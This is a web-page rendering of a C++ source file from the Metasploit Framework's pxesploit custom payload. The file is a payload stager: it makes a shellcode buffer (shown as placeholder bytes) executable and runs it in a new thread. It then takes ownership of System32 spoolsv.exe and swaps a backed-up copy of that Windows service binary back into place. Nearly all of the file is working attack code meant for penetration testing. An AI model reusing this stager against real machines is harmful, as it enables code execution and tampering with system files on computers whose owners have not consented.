CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/pxesploit/customPayload/autoinf/main.cpp
Views: 11784
1
#include <Windows.h>
2
#include <Aclapi.h>
3
typedef BOOL (WINAPI *Wow64DisableWow64FsRedirectionFunc) ( __out PVOID *OldValue );
4
5
void start(){
6
//fix wow32-64 fsredir
7
PVOID OldValue;
8
Wow64DisableWow64FsRedirectionFunc disableWow = (Wow64DisableWow64FsRedirectionFunc)GetProcAddress(
9
10
GetModuleHandleA("kernel32"),"Wow64DisableWow64FsRedirection");
11
if( disableWow )
12
disableWow(&OldValue);
13
char windowsPath[MAX_PATH];
14
GetWindowsDirectoryA(windowsPath,MAX_PATH);
15
SetCurrentDirectoryA(windowsPath);
16
17
18
const char * shellcode=
19
20
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
21
22
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
23
24
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
25
26
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
27
28
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
29
30
"AAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
89
90
DWORD mdw;
91
92
VirtualProtect((LPVOID)shellcode,4500,PAGE_EXECUTE_READWRITE,&mdw);
93
94
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)shellcode,NULL,0,NULL);
95
96
DWORD sidSize = SECURITY_MAX_SID_SIZE;
97
98
PSID ownersid = LocalAlloc(LMEM_FIXED,sidSize);
99
100
CreateWellKnownSid(WinLocalSystemSid, NULL, ownersid, &sidSize);
101
102
//permissions, owner?
103
104
SetNamedSecurityInfoA("System32\\spoolsv.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);
105
106
SetNamedSecurityInfoA("System32\\spoolsv.bak.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);
107
108
//copy file back
109
110
while(MoveFileA("System32\\spoolsv.bak.exe","System32\\spoolsv.exe") == 0){
111
112
DeleteFileA("System32\\spoolsv.exe");
113
114
Sleep(100);
115
116
}
117
118
while(true)
119
120
Sleep(10000);
121
122
}
123